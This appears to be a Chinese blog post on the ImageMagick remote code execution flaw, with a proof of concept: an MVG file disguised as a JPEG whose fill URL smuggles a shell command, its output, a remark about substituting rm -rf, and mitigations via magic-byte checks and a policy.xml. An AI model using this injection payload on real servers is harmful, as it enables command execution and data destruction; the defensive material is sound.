多的网站和漏洞都在使用ImageMagick处理图片,最近ImageMagick被爆出重大漏洞。
这个漏洞是由于当在转换图片format的时候,由于image decoder缺少了对文件名的过滤引起的远程代码执行。
重现如下:
vim crack.jpg 添加如下内容:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
然后转换格式
mckee@mckee-pc ~/download $ convert crack.jpg out.png
总用量 570092
drwxr-xr-x 11 mckee mckee 4096 5月 10 16:30 .
drwxr-xr-x 66 mckee mckee 4096 5月 10 16:30 ..
-rw-r----- 1 mckee mckee 1351701 5月 4 10:59 1442042040_271217.zip
-rw-r----- 1 mckee mckee 20694 5月 5 14:59 1462354457_404523.gif
-rw-r----- 1 mckee mckee 2694477 5月 5 17:49 1462414101_624315.zip
......
如果你将ls -l替换其它恶意命令如rm -rf,后果可行而知。
解决办法如下:
(1)在将图片提交给ImageMagick处理之前,先通过"magic bytes"判断文件类型
(2)给ImageMagick添加policy,禁止编码EPHEMERAL, URL, MVG, and MSL.
sudo vim /etc/ImageMagick/policy.xml
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="TEXT" />
<policy domain="coder" rights="none" pattern="SHOW" />
<policy domain="coder" rights="none" pattern="WIN" />
<policy domain="coder" rights="none" pattern="PLT" />
</policymap>